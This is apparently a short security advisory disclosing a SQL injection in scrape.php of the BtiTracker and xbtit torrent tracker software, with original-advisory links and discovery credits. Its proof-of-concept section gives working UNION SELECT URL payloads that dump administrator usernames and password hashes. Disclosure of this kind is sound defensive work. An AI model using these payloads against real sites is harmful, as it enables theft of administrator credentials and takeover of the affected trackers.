SQL Injection Vulnerability in BtiTracker and xbtit
Vulnerable products
BtiTracker <=1.4.7
https://sourceforge.net/projects/btit-tracker/
xbtit <=2.0.542
http://www.btiteam.org
Description
A vulnerability is caused due to the application does not perform sanitation
checks for input passed to the parameter info_hash in scrape.php. A remote
attacker can inject and execute arbitrary SQL commands in application`s
database.
PoC
## Exploit:
## =========================================================
## http://site/scrape.php?info_hash=1%27)
##
+UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0
## +FROM+users+WHERE+id_level=8/*
## =========================================================
## for xBtiTracker we need to specify prefix:
## =========================================================
## http://site/scrape.php?info_hash=1%27)
##
+UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0
## +FROM+xbtit_users+WHERE+id_level=8/*
## =========================================================
Original advisories
http://www.securitylab.ru/vulnerability/358375.php
http://www.securitylab.ru/vulnerability/358377.php
Credits
The vulnerability was discovered by InATeam (http://inattack.ru/).
BR,
Valery Marchuk
www.SecurityLab.ru
